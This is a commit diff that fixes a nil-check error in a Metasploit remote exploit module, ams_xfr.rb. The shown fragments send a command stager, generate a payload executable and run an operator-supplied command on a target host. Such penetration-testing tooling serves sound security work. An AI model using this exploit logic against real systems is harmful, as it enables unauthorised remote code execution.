fix ams_xfr.rb - NoMethodError undefined method 'empty?' for nil:NilClass
This commit is contained in:
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
execute_cmdstager({ :temp => '.', :cgifname => exe_fname })
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
@@ -93,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def exploit
|
||||
|
||||
if not datastore['CMD'].empty?
|
||||
if not (datastore['CMD'].nil? || datastore['CMD'].empty?)
|
||||
print_status("Executing command '#{datastore['CMD']}'")
|
||||
execute_command(datastore['CMD'])
|
||||
return
|
||||
@@ -104,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
windows_stager
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Target not supported.')
|
||||
end
|
||||
end
|
||||
|
||||
handler
|
||||
|
||||
|
||||
Reference in New Issue
Block a user